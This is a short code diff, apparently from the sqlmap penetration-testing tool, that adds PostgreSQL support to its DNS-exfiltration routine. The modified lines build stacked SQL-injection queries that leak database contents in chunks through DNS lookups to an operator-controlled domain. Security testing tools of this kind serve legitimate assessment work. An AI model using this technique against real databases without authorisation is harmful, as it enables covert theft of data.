@@ -48,7 +48,7 @@ def dnsUse(payload, expression):
4848 count = 0
4949 offset = 1
5050
51- if conf .dnsDomain and Backend .getIdentifiedDbms () in (DBMS .MSSQL , DBMS .ORACLE , DBMS .MYSQL ):
51+ if conf .dnsDomain and Backend .getIdentifiedDbms () in (DBMS .MSSQL , DBMS .ORACLE , DBMS .MYSQL , DBMS . PGSQL ):
5252 output = hashDBRetrieve (expression , checkConf = True )
5353
5454 if output and PARTIAL_VALUE_MARKER in output or kb .dnsTest is None :
@@ -60,7 +60,7 @@ def dnsUse(payload, expression):
6060 while True :
6161 count += 1
6262 prefix , suffix = ("%s" % randomStr (3 ) for _ in xrange (2 ))
63- chunk_length = MAX_DNS_LABEL / 2 if Backend .getIdentifiedDbms () in (DBMS .ORACLE , DBMS .MYSQL ) else MAX_DNS_LABEL / 4 - 2
63+ chunk_length = MAX_DNS_LABEL / 2 if Backend .getIdentifiedDbms () in (DBMS .ORACLE , DBMS .MYSQL , DBMS . PGSQL ) else MAX_DNS_LABEL / 4 - 2
6464 _ , _ , _ , _ , _ , _ , fieldToCastStr , _ = agent .getFields (expression )
6565 nulledCastedField = agent .nullAndCastField (fieldToCastStr )
6666 nulledCastedField = queries [Backend .getIdentifiedDbms ()].substring .query % (nulledCastedField , offset , chunk_length )
@@ -70,14 +70,14 @@ def dnsUse(payload, expression):
7070 expressionRequest = getSPQLSnippet (Backend .getIdentifiedDbms (), "dns_request" , PREFIX = prefix , QUERY = expressionReplaced , SUFFIX = suffix , DOMAIN = conf .dnsDomain )
7171 expressionUnescaped = unescaper .unescape (expressionRequest )
7272
73- if Backend .isDbms ( DBMS .MSSQL ):
73+ if Backend .getIdentifiedDbms () in ( DBMS .MSSQL , DBMS . PGSQL ):
7474 comment = queries [Backend .getIdentifiedDbms ()].comment .query
7575 query = agent .prefixQuery ("; %s" % expressionUnescaped )
7676 query = agent .suffixQuery ("%s;%s" % (query , comment ))
7777 forgedPayload = agent .payload (newValue = query )
7878 else :
7979 forgedPayload = safeStringFormat (payload , (expressionUnescaped , randomInt (1 ), randomInt (3 )))
80-
80+
8181 Request .queryPage (forgedPayload , content = False , noteResponseTime = False , raise404 = False )
8282
8383 _ = conf .dnsServer .pop (prefix , suffix )
0 commit comments